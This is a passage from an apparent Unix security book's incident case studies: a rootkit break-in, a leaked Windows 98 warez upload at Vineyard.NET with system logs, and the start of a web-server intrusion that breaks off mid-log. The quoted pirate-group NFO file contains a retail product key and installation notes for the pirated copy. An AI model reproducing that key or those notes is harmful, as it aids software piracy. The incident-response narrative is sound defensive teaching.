|
22.4 Case StudiesThe following stories are all true. In the first case, the names and a few details have been changed to protect people's jobs. The second and third stories are based on actual cases that took place at Vineyard.NET, an Internet Service Provider that is partly owned by one of the authors. 22.4.1 RootkitLate one night, a part-time computer consultant at a Seattle-based firm logged into one of the computers that he occasionally used. The system seemed sluggish, so he ran the top command to get an idea of what was slowing the system. The consultant noticed that a program called vs was consuming a large amount of system resources. The program was running as superuser. Something didn't look right. To get more information, the consultant ran the ps command. That's when things got stranger still—the mysterious program didn't appear when ps was run. So the consultant used the top command again, and, sure enough, the vs program was still running. The consultant suspected a break-in. He started looking around the filesystem using the Emacs dired command and found the vs program in a directory called /var/.e. That certainly didn't look right—why was a program running in a hidden directory on the /var/ partition? So the consultant went to his shell window, did a chdir( ) to the /var directory, and then did a ls -a. But the ls program didn't show the directory /var/.e. Nevertheless, the program was definitely there: it was still visible from the Emacs dired command. The consultant was now pretty sure that somebody had broken into the computer. And the attack seemed sophisticated because system commands appeared to have been altered to hide evidence of the break-in. Not wanting to let the break-in proceed further, he wanted to shut down the computer. But he was afraid that the attacker might have booby-trapped the /etc/halt command to destroy traces of the break-in. So before shutting down the system, he used the tar command to make a copy of the directory /var/.e, as well as of the directories /bin and /etc. As soon as the tar file was made, he copied it to another computer and halted the system. The following morning, the consultant analyzed the tar file and made the following observations:
It was 10:00 p.m. when the break-in was discovered. Nevertheless, the consultant telephoned the system manager at home. When he did, he discovered something else:
In retrospect, this was a poor decision. Allowing the intruder to stay on the system let him collect more passwords from users of the system. The delay also allowed for plenty of time to make further modifications to the system. If the system was only somewhat compromised before, it was in all likelihood thoroughly compromised now! Leaving the intruder alone also left the company in a precarious legal position. If the intruder used the system to break in anywhere else, the company might be held partially liable in a lawsuit because they left the intruder with free run of the compromised system. So what should the system manager have done when she first discovered the break-in? Basically, the same thing as what the consultant did: take a snapshot of the system to tape or another disk, isolate the system, and then investigate. If the staff was worried about some significant files being damaged, they should have done a complete backup right away to preserve whatever they could. If the system had been booby-trapped and a power failure occurred, they would have lost everything as surely as if they had shut down the system themselves. This case is typical of many Unix break-ins. The attackers have access to one of many "rootkits" used to break into systems, install password sniffers, and alter system programs to hide their presence. Many of the users of these toolkits are quite ignorant of how they work. 22.4.2 WarezOn May 19, 1998, employees at Vineyard.NET noticed that the primary web server was acting very strangely. Processes were inexplicably terminating. Sometimes web pages were being displayed, but other times they were not. The system itself, an Intel-based Unix system running BSD/OS Version 3.2, had a very low load, but its response was incredibly sluggish. The staff spent half an hour in an attempt to diagnose the problem. They ran the top command to see if there were any processes that were eating up the computer's available CPU; no process was using more than its fair share. (The ISP had previously had a problem with "runaway" processes occasionally bogging down the system.) They checked the amount of free disk space and memory, but storage was not a problem. As a last resort, the staff rebooted the computer. For a while, that seemed to solve the problem. But slowly, the sluggishness and strange behavior returned. One of the tools used by Vineyard.NET to monitor its systems was the Multi-Router Traffic Grapher, better known as MRTG. As the employees started looking at more and more systems in an attempt to figure out what was going on, somebody looked at the MRTG traffic graph (see Figure 22-1). The graph indicated that Vineyard.NET's outgoing traffic was much higher than normal. Figure 22-1. Vineyard.NET MRTG monitor Clearly, the data was coming from somewhere. But where? The netstat command (shown in Example 22-3 and illustrated in Figure 22-1) revealed that there were a large number of FTP connections originating from the Vineyard.NET server to other hosts on the Internet. This seemed quite strange. Each connection was accompanied by a connection on port 20, the FTP data port, indicating that a file transfer was in progress Example 22-3. netstat shows active connections in progress during the warez incident% netstat | grep ESTABLISHED tcp 0 0 VINEYARD.NET.pop ASY5.VINEYARD.NE.2117 ESTABLISHED tcp 0 8500 VINEYARD.NET.http srry01m05-128.bc.1505 ESTABLISHED tcp 0 7168 VINEYARD.NET.http hd62-160.hil.com.2033 ESTABLISHED tcp 0 8192 VINEYARD.NET.http 208.232.119.2.4125 ESTABLISHED tcp 0 7552 VINEYARD.NET.20 hades.osc.epsilo.2943 ESTABLISHED tcp 0 6952 VINEYARD.NET.http ww-tl01.proxy.ao.37672 ESTABLISHED tcp 0 7096 VINEYARD.NET.20 spc-isp-mon-uas-.1042 ESTABLISHED tcp 0 7680 VINEYARD.NET.1117 r18m69.cybercabl.1177 ESTABLISHED tcp 0 8496 VINEYARD.NET.http cs206-32.student.1069 ESTABLISHED tcp 0 8192 VINEYARD.NET.20 wend10.swol.de.1328 ESTABLISHED tcp 0 0 SMTP4.VINEYARD.N.erpc ANNEX1.VINEYARD..1024 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp dns1.bit-net.com.2268 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp spc-isp-mon-uas-.1037 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp kenny26.zip.com..1033 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp sladl3p24.ozemai.1676 ESTABLISHED tcp 0 8760 VINEYARD.NET.pop ASY10.VINEYARD.N.1043 ESTABLISHED tcp 0 7360 VINEYARD.NET.20 195.120.233.99.1819 ESTABLISHED tcp 0 7340 VINEYARD.NET.1093 204.138.179.14.20 ESTABLISHED tcp 0 7928 VINEYARD.NET.20 semicon.chungbuk.41987 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp r18m69.cybercabl.1155 ESTABLISHED tcp 0 8616 VINEYARD.NET.20 ppp068.0.mmtl.vi.1144 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp hades.osc.epsilo.2532 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp wend10.swol.de.1319 ESTABLISHED tcp 0 7296 VINEYARD.NET.1076 slip-32-100-165-.2700 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp slip-32-100-165-.2699 ESTABLISHED tcp 0 6656 VINEYARD.NET.1075 friday.datasourc.3024 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp 195.120.233.99.1814 ESTABLISHED tcp 0 8512 VINEYARD.NET.1067 slip-32-100-165-.2698 ESTABLISHED tcp 0 7168 VINEYARD.NET.20 ezvl-78ppp122.ep.3783 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp ezvl-78ppp122.ep.3782 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp slip-32-100-165-.2695 ESTABLISHED tcp 0 7168 VINEYARD.NET.20 t2o64p89.telia.c.1858 ESTABLISHED tcp 0 7680 VINEYARD.NET.1043 r18m69.cybercabl.1123 ESTABLISHED tcp 0 0 VINEYARD.NET.ftp r18m69.cybercabl.1122 ESTABLISHED tcp 0 8112 VINEYARD.NET.20 proxy1.fm.intel..3166 ESTABLISHED tcp 0 6656 VINEYARD.NET.20 slmel21p25.ozema.1207 ESTABLISHED tcp 0 8312 VINEYARD.NET.20 ing079.ing.hb.se.1297 ESTABLISHED ... At this point the staff looked at the processes again. This time, however, instead of simply running top or looking at the first page of the ps aux output, they looked at all of the processes. There were 106 copies of the FTP daemon running, as shown in Example 22-4. From the FTP commands, it was evident that most of these individuals were downloading files with names like /calibreX/Win98.Final-PWA/pwa98cbl.zip\r\n from the directory /open. Example 22-4. The process list during the warez incident% ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND simsong 1770 86.4 2.0 5184 5212 p3 R 5:34PM 4:47.73 /usr/local/bin/perl /usr/ local/bin/report.www -v (report.www) root 24659 31.4 0.0 0 0 ?? Z 4:19PM 0:00.00 (admin_server) root 2345 2.0 0.1 220 284 ?? S 31Dec69 0:00.02 (ping) root 1406 0.0 0.0 0 0 ?? Z 5:32PM 0:00.00 (junkbuster) root 0 0.0 0.0 0 0 ?? DLs Mon01PM 0:00.30 (swapper) root 1 0.0 0.1 148 288 ?? Ss Mon01PM 0:01.63 /sbin/init root 2 0.0 0.0 0 12 ?? DL Mon01PM 0:00.01 (pagedaemon) root 15 0.0 0.0 68 64 ?? Is Mon01PM 0:00.00 asyncd 2 root 17 0.0 0.0 68 64 ?? Is Mon01PM 0:00.02 asyncd 2 root 26 0.0 0.8 748 2008 ?? Ss Mon01PM 0:00.67 mfs -o rw -s 40960 /dev/ sd0b /tmp (mount_mfs) root 51 0.0 0.1 268 296 ?? Ss Mon01PM 0:02.92 gettyd -s root 62 0.0 0.1 160 340 ?? Ss Mon01PM 1:19.11 syslogd daemon 65 0.0 0.1 112 184 ?? Ss Mon01PM 0:01.36 portmap root 72 0.0 0.1 216 300 ?? Ss Mon01PM 0:01.34 mountd root 74 0.0 0.1 144 288 ?? Is Mon01PM 0:00.01 nfsd-master (nfsd) root 76 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd) root 77 0.0 0.0 76 100 ?? I Mon01PM 0:00.04 nfsd-server (nfsd) root 78 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd) root 79 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd) root 80 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd) root 81 0.0 0.0 76 100 ?? I Mon01PM 0:00.01 nfsd-server (nfsd) root 120 0.0 0.0 72 76 ?? Ss Mon01PM 0:31.99 update root 122 0.0 0.1 340 268 ?? Ss Mon01PM 0:02.77 cron ... ftp 11452 0.0 0.2 288 480 ?? S 2:07PM 0:00.27 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/pwa98cbi.zip\r\n (ftpd) ftp 11559 0.0 0.2 288 480 ?? S 2:09PM 0:00.28 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/pwa98cbg.zip\r\n (ftpd) ftp 13154 0.0 0.2 288 480 ?? S 2:21PM 0:00.24 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/pwa98cbj.zip\r\n (ftpd) ftp 13238 0.0 0.2 288 480 ?? S 2:22PM 0:00.25 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/ pwa98rfl1.zip\r\n (ftpd) ftp 13381 0.0 0.2 740 496 ?? S 2:23PM 0:00.71 port2d07.h2o.or.jp: anonymous/ta@tvr.com: IDL E (ftpd) ftp 13750 0.0 0.2 288 480 ?? S 2:26PM 0:12.34 port2d07.h2o.or.jp: anonymous/ta@tvr.com: RET R /open/ /calibreX/Win98.Final-PWA/pwa98cbe.zip\r\n (ftpd) ftp 13909 0.0 0.2 288 480 ?? S 2:28PM 0:00.25 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/pwa98cbk.zip\r\n (ftpd) ftp 14891 0.0 0.2 288 480 ?? S 2:38PM 0:00.24 cmodem85.lancite.net: anonymous/getright@: RE TR /open/ /calibreX/Win98.Final-PWA/pwa98cbl.zip\r\n (ftpd) ftp 15702 0.0 0.2 740 496 ?? S 2:45PM 0:23.34 dialup2-52.itv.se: anonymous/dont@bother.me: RETR pwa98cbl.zip\r\n (ftpd) ftp 16299 0.0 0.2 300 492 ?? I 2:52PM 0:04.61 208.222.8.1: anonymous/ bpftpuser@bpftp.com: I DLE (ftpd) ftp 17530 0.0 0.2 740 496 ?? S 3:06PM 0:01.05 client-151-197-126-3. bellatlantic.net: anonym ous/busta@rhymes.edu: RETR /open/ /calibreX/Win98.Final-PWA/pwa98cbh.zip\r\n (ftpd) ftp 17713 0.0 0.2 740 496 ?? S 3:08PM 0:06.06 du126.str.ptd.net: anonymous/guest@: RETR pwa 98cbe.zip\r\n (ftpd) ftp 18259 0.0 0.2 740 496 ?? S 3:14PM 0:01.18 p9-term1-and.netdirect. net: anonymous/guest@: RETR pwa98cbk.zip\r\n (ftpd) ftp 19393 0.0 0.2 740 496 ?? S 3:26PM 0:01.55 sc9-14-54.thegrid.net: anonymous/bpftpuser@bp ftp.com: RETR /open/ /calibreX/Win98.Final-PWA/pwa98cbk.zip\r\n (ftpd) ftp 20077 0.0 0.2 740 496 ?? S 3:31PM 0:05.66 apus.osir.hihm.no: anonymous/anon@: RETR pwa9 A quick look at the FTP log file /var/log/xferlog confirmed this suspicion, as shown in Example 22-5. Example 22-5. An excerpt from /var/log/xferlog/openTue May 19 17:35:58 1998 1 friday.datasource.net 7045 /open/_ _/calibreX/Win98.Final-PWA/ Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/PWA.NFO b _ o a mozilla@ ftp 0 * Tue May 19 17:36:27 1998 1933 ing079.ing.hb.se 5130019 /open/_ _/calibreX/Win98.Final-PWA/ pwa98cbe.zip b _ o a F_rnamn.Efternamn@Linje.ing.hb.se ftp 0 * Tue May 19 17:36:30 1998 2522 semicon.chungbuk.ac.kr 5130606 /open/_ _/calibreX/Win98. Final-PWA/pwa98cbc.zip b _ o a semicon@semicon.chungbuk.ac.kr ftp 0 * Tue May 19 17:36:32 1998 1945 ppp068.0.mmtl.videotron.net 3467331 /open/_ _/calibreX/ Win98.Final-PWA/pwa98cba.zip b _ o a leegend@hotmail.com ftp 0 Tue May 19 17:36:37 1998 1 semicon.chungbuk.ac.kr 0 /open/_ _/calibreX/Win98.Final-PWA/ pwa98cbd.good.zip b _ o a semicon@semicon.chungbuk.ac.kr ftp 0 * Tue May 19 17:36:41 1998 2072 dialup2-52.itv.se 5130477 /open/_ _/calibreX/Win98.Final- PWA/pwa98cbk.zip b _ o a dont@bother.me ftp 0 * Tue May 19 17:37:19 1998 1 wend10.swol.de 7045 /open/_ _/calibreX/Win98.Final-PWA/ Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/PWA.NFO b _ o a king@hotmail.com ftp 0 * Evidently, someone had uploaded a copy of the Windows 98 distribution disk and this disk was now being downloaded all over the world. Why the interest in Windows 98? Because this incident took place on May 19, 1998, and Windows 98 wasn't scheduled to ship until May 25, 1998. Somebody had leaked a copy of Windows 98. That copy had been uploaded to Vineyard.NET and stored in an unprotected directory named /open. Re-examining the MRTG graph in Figure 22-1, it was apparent that the upload had happened at 19:00 on the previous night. The location of the Windows 98 archive must have been sent out early the next morning. This information was passed along to the Internet piracy community, and many individuals all over the world started downloading the archive. An analysis of the Vineyard.NET log files later revealed that the copy of Windows 98 was downloaded to 129 different sites on the Internet. The massive outflow of data from the server was responsible, in part, for the system being so sluggish. The large number of simultaneous FTP sessions, and the fact that many of these sessions were going through a Perl-based, Web-to-FTP gateway, further dragged down the system. Vineyard.NET's first response was to change the permissions on the /open directory to 000 and move it to another location. The FTP server was temporarily disabled. Finally, the Web-to-FTP gateway was temporarily disabled as well so that the system would not be slowed down by so many people repeatedly using that rather inefficient piece of software. Once these measures were taken, the system immediately returned to normal. Next, Vineyard.NET's staff looked at the files that were downloaded to see if they were, in fact, a copy of Windows 98. An initial list of files looked somewhat suspicious: # ls -l total 73 drwxr-xr-x 3 ftp wheel 512 May 18 1998 -rw-r--r-- 1 ftp wheel 6762 Apr 29 1998 SLG.TXT -rw-r--r-- 1 ftp wheel 65113 May 16 1998 lynx272ssleay.zip drwxr-xr-x 3 ftp wheel 512 May 19 1998 nothing_here # It turns out that the real action isn't in the directory called nothing_here, but in the first directory—the one with a name consisting of two spaces. Look again at the directory list. This time, the -F option to ls is used: # ls -lF | cat -v total 73 drwxr-xr-x 3 ftp wheel 512 May 18 1998 / -rw-r--r-- 1 ftp wheel 6762 Apr 29 1998 SLG.TXT -rw-r--r-- 1 ftp wheel 65113 May 16 1998 lynx272ssleay.zip drwxr-xr-x 3 ftp wheel 512 May 19 1998 nothing_here/ # We can change into this directory and see what's inside it: # cd ' ' # ls -l total 1 drwxr-xr-x 3 ftp wheel 512 May 19 1998 calibreX # cd calibreX/ # ls -l total 1 drwxr-xr-x 3 ftp wheel 1024 May 19 1998 Win98.Final-PWA # cd Win98.Final-PWA/ # ls -l total 76505 drwxr-xr-x 2 ftp wheel 512 May 19 1998 Microsoft_WIndows98_FINAL_Retail_Full_ Setup-PWA -rw-r--r-- 1 ftp wheel 7045 May 19 1998 PWA.NFO -rw-r--r-- 1 ftp wheel 832 May 19 1998 file_id.diz -rw-r--r-- 1 ftp wheel 5133067 May 19 1998 pwa98cba.zip -rw-r--r-- 1 ftp wheel 5134860 May 19 1998 pwa98cbb.zip -rw-r--r-- 1 ftp wheel 5130606 May 19 1998 pwa98cbc.zip -rw-r--r-- 1 ftp wheel 0 May 19 1998 pwa98cbd.good.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbd.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbe.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbf.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbg.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbh.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbi.zip -rw-r--r-- 1 ftp wheel 5133267 May 19 1998 pwa98cbj.zip -rw-r--r-- 1 ftp wheel 5130477 May 19 1998 pwa98cbk.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbl.zip -rw-r--r-- 1 ftp wheel 5130477 May 19 1998 pwa98cbm.zip -rw-r--r-- 1 ftp wheel 5130477 May 19 1998 pwa98cbn.zip -rw-r--r-- 1 ftp wheel 5130019 May 19 1998 pwa98cbo.zip -rw-r--r-- 1 ftp wheel 1154560 May 19 1998 pwa98cbp.zip How thoughtful! A full copy of Windows 98, with the full retail setup. This is described in the file PWA.NFO: # cat PWA.NFO
ÜÜ
ÜûÜ Üß
ûûÜßßÜ Ü Üß °
ûûûûûûÜßÜ Üß Üß ° ÜÜ
ûûûûûûû Üß ± ° ûûÜÜ .
Üûûûûûûûûûû Üß ° û ° û ûûûûûßßÜÜ
ßßûûûûûûûûû Üß ° ° ûûß Ü ßÜß
ßûûûûûûûû û ° û° ßÜûû ßÜ
ûûûûûû ° ß Üß ° ß Ü ßûß ûÜ
ûûûûûû û° ß Üß ß ÜßÜß °Ü ÜÜ ßÜ
ÄÄÄÄÄÄÄÄÄÄ Üß ûûûûûÄÄÄ° Üß Üûßß ÄÄÄÄÄ ±° ß Ä ûû ÄÄÄ-ÄÄÄ-Äú ú
ßÜûûûûûß ûÜß Üß ßÜ ± û ±
Üûûûûß ß ±° Üß °
Üûûßß ÜÜ Üß . ±° ßÜ ßÜ °
ß Ü ßßÜÜÜ ±° Üß ßÜ
± ± ßßßÜ ±°° Üß ß
Ü û °Üß ß °ß
ßß ±° °Üß ßß ..R.Noble <MiRAGE>
û °°°Üß
û ß ... Pirates With Attitudes
±ß
Üß Proudly Presents ...
ß
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º [ Windows '98 Final - CAB disks ] May 17, 1998 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º Supplier .....: PWA Gods Type .....: Operating System º
º Cracker ......: N/A Video ....: º
º Packager .....: Murmillius Audio ....: º
º Protection ...: Serial Number # Disks ..: 21 x 5meg º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Here it is: Windows '98 Final release - Retail Full Install!
While every other group will be bringing you so many good programs
for this operating system, it's PWA that brings you the OS itself.
It is fortunately for the user community that this is the case or
you would probably have ended up with a ripped down release
from some other lame group missing important system files like
KRNL386.exe, because disklimits are more important nowadays to these
people than a working release.
People that still believe in quality have only one option :
Pirates with Attitudes.
Greets fly out to all Hardworking people in PWA.
Note to other groups:
This *IS* final. When you get your CD's, it's very likely the file
dates will differ as the dates get time stamped on the CD at pressing
time, however if you CRC check the CD with this release, you'll see the
files are all identical (make sure you use the FULL RETAIL CD to check,
not an upgrade or OEM version). We're just going to wait to release
tnis to see if MS decides to make any last minute changes because
of the stuff going on with the US Dept. of Justice.
Retail FULL Install Key: K4HVD-Q9TJ8-6CRX9-C9G28
Install Notes:
The way this has been zipped up is as follows:
1 ZIP file labeled RETAIL FULL SETUP
21 ZIP files labeled Win98 CABs
Several ZIP files labelled online service clients (only necessary for AOL,
MSN, Compuserve, etc).
You need to download the CABS and the RETAIL SETUP and unzip/unrar
everything into one directory. The reason for this is that as soon
as I get install keys, I can release RETAIL UPGRADE, OEM FULL and
OEM UPGRADE versions and they will only take 4 meg each (the CAB zips
are generic thruout all these versions, I can just package up the
differences in seperate zips to save everyone space and time). You just
unzip whichever one you want into the same directory as the generic
CAB zips.
-/ This is PWA \-
< 16 May 1998 >
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--- - - ú ú úú ú
Council ......... Code3, Dark Lord, Dream Weaver, Murmillius, Rambone,
Shiffie
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--- - - ú ú úú ú
Senior Members .. Akasha, Gumby, Mercy, Oyl Patch, Stoned, The Technic
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--- - - ú ú úú ú
Members ......... Acidman, Aironz, Angelface, BadBrad, Bunter, Chowdery,
Codebreaker, Corv8, DaPhantm, Disc Killer, Disk Killer,
DJpaul, El Cid, EzD, Frost, Guip, Ico, IceB, Ivan,
The Judge, Kewe, Lost Soul, Magellan, Marduk, Muadib, Nagumo,
Ofd, Patriarch, Prozac, Ryu, Shadowman, SilverB, Skylark,
neTyx, Single Minded, SpyNut, Sugar, The Jerk, Vampyre,
Virtual Power, Voltan, Warlock
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--- - - ú ú úú ú
If you are going to do it ... Do it with an ATTITUDE!
PWA..... a juggernaut that rolls on thru 1998
* Please note that PWA is NOT accepting pay sites of any nature.. We're *
* in this for fun and entertainment, not to try to make ourselves rich. *
* PWA also does not accept new BBS', FTP sites, net couriers, graphics *
* artists or programmers (including PPE's... PCB, may it rest in peace) *
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Final Note ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Support the software companies! If you enjoy using a program or using a
Util, consider buying it! Someone has to make it worth the programmer's
effort to keep up the high standards.. They made it, so they DESERVE it!
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#
22.4.2.1 The follow-upFollowing the incident, Vineyard.NET decided to report this incident to the proper authorities. As this was an act of copyright infringement involving a Microsoft product, we decided to call Microsoft's anti-piracy help line. The conversation went something like this:
This seemed useless, so we hung up on Microsoft and called the Boston office of the FBI. Nobody was in the office who could handle the case, so we left a message and asked for them to call us back. Finally, we examined our log files to determine the location from which the files had been uploaded. It turned out to be a machine at Pace University named knox.pace.edu. A phone call to the network administrator at Pace revealed that this was the school's firewall. The administrator said that his firewall logs would reveal who it was. The next day, the administrator called back. He said that they had determined the student whose network connection was used to upload the files. That student would receive immediate disciplinary action. We thought that this was a bit harsh. After all, it's possible that the student's computer was being used by another student. But the network administrator seemed positive that he knew what was going on, and wasn't interested in any "alternative theories" about what might have happened. He knew that he had the guilty party. As it turns out, he had only the tip of the iceberg. On May 4, 2000, the U.S. Justice Department announced an indictment against 12 individuals who were allegedly part of the group that called itself Pirates With Attitude and 5 individuals at Intel who had supplied the group with software in exchange for access to PWA's archive of more than 5,000 programs. International in scope, PWA had archives located on compromised systems throughout the United States, Canada, and Europe. Scott R. Lassar, United States Attorney for the Northern District of Illinois, called PWA "one of the oldest and most sophisticated networks of software pirates anywhere in the world." Undoubtedly, it was this Intel connection that was responsible for the copy of Windows 98 discovered at Vineyard.NET. This explains the use of internal terminology in the PWA.NFO file and the high quality of these warez. One wonders what their attitude will be as convicted federal felons? 22.4.3 faxsurveyOn October 7, 1998, an employee at Vineyard.NET noticed that the user http was logged into the company's primary web server, as shown in Example 22-6. Example 22-6. An intruder is discoveredScript started on Wed Oct 7 20:54:21 1998 bash-2.02# w 8:57PM up 27 days, 14:19, 5 users, load averages: 0.28, 0.33, 0.35 USER TTY FROM LOGIN@ IDLE WHAT http p0 KRLDB110-06.spli Tue02AM 1days /bin/sh simsong p1 asy12.vineyard.n 8:42PM 15 -tcsh (tcsh) ericx p2 mac-ewb.vineyard 8:46PM 0 script ericx p3 mac-ewb.vineyard 8:46PM 11 top ericx p4 mac-ewb.vineyard 8:53PM 1 sleep 5 bash-2.02# This computer was running the BSDI v3.1 operating system with all patches as released by the vendor. The web server was a version of the Apache web server named Stronghold. Broadly defined, the computer was a "federal interest computer" under the law because the computer was used to initiate Automated Clearing House electronic funds transfers from customer accounts. To assist in these funds transfers, the computer held credit card and bank account information. (Fortunately, that information on the computer was stored in an encrypted format.) In all likelihood, a user logged in as http could be the result of two things. First, it could be a member of the ISP's staff who is using the http account for debugging. Alternatively, it could be an attacker who had found some way to break into the http account but had been unable to gain additional access. Because the user http was logged in from a computer whose name began with KRLDB110-06.spli, it appeared to the staff that this was a case of unauthorized access. When the intrusion was discovered, one of the staff members immediately started the Unix program script to record his actions. As evidenced in Example 22-6, the intruder appeared to be idle for more than a day. The original intrusion had taken place on Tuesday at 2:00 a.m. The next step was to use the Unix ps command to list all of the processes currently running on the computer. Two processes were out of place: two copies of the /bin/sh shell that were being run by http. Both of those shells had been started on the previous day, one at 2:00 a.m., the other at 4:00 a.m., as shown by the last two lines of Example 22-7. Example 22-7. Processes that were running on the compromised computerbash-2.02# ps auxww USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 11766 3.0 0.0 0 0 ?? Z 23Sep98 0:00.00 (admin_server) root 3763 1.0 0.0 0 0 ?? Z 2:03PM 0:00.00 (junkbuster) mail 18120 1.3 0.3 816 724 ?? S 8:56PM 0:00.64 smap root 17573 1.0 0.0 0 0 ?? Z 11:03AM 0:00.00 (admin_server) root 16 0.0 0.0 68 64 ?? Is 10Sep98 0:00.00 asyncd 2 root 18 0.0 0.0 68 64 ?? Is 10Sep98 0:00.02 asyncd 2 root 28 0.0 8.0 748 20680 ?? Ss 10Sep98 0:16.32 mfs -o rw -s 40960 /dev/ sd0b /tmp (mount_mfs) root 53 0.0 0.1 268 296 ?? Ss 10Sep98 0:38.23 gettyd -s ... root 18670 0.0 0.5 560 1276 ?? S Tue02AM 0:04.77 (xterm) http 18671 0.0 0.1 244 276 p0 Is Tue02AM 0:02.23 /bin/sh http 26225 0.0 0.1 236 276 p0 I+ Tue04AM 0:00.07 /bin/sh Apparently, the intruder had broken in and then, for some reason, had given up. As there appeared to be no immediate urgency, the ISP carefully formulated a plan of action:
To trace the intruder, the ISP tried using the Unix netstat command. This turned up a new piece of information. The intruder had not broken in with Telnet or SSH; instead, there was an X11 connection from the web server (Apache.Vineyard.NET) to an X server running on the intruder's computer! This is made clear by the bold line in Example 22-8. Example 22-8. Active TCP connections to Vineyard.NET during the attackbash-2.02# netstat -a Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1137 SYN_RCVD tcp 0 0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1136 SYN_RCVD tcp 0 0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1135 SYN_RCVD tcp 0 0 VINEYARD.NET.http DSY27.VINEYARD.N.1079 SYN_RCVD tcp 0 2456 VINEYARD.NET.http nhv-ct4-09.ix.ne.1134 ESTABLISHED tcp 0 2268 VINEYARD.NET.http DSY27.VINEYARD.N.1078 ESTABLISHED tcp 0 2522 VINEYARD.NET.http 209.174.140.26.1205 ESTABLISHED tcp 0 8192 VINEYARD.NET.http host-209-214-118.1785 ESTABLISHED tcp 0 4916 VINEYARD.NET.http host-209-214-118.1784 ESTABLISHED tcp 0 0 VINEYARD.NET.http host-209-214-118.1783 ESTABLISHED tcp 0 0 VINEYARD.NET.http ASY14.VINEYARD.N.1163 FIN_WAIT_2 tcp 0 0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1135 ESTABLISHED tcp 0 0 LOCALHOST.VINEYA.1135 LOCALHOST.VINEYA.sendm ESTABLISHED tcp 0 0 VINEYARD.NET.smtp 208.135.218.34.1479 ESTABLISHED tcp 0 3157 VINEYARD.NET.pop ASY5.VINEYARD.NE.1027 ESTABLISHED tcp 0 0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2050 ESTABLISHED tcp 0 0 VINEYARD.NET.http host-209-214-118.1782 FIN_WAIT_2 tcp 0 0 VINEYARD.NET.http host-209-214-118.1781 FIN_WAIT_2 tcp 0 0 VINEYARD.NET.http host-209-214-118.1775 FIN_WAIT_2 tcp 0 0 VINEYARD.NET.http 56k-2234.hey.net.1099 FIN_WAIT_2 tcp 0 0 VINEYARD.NET.https 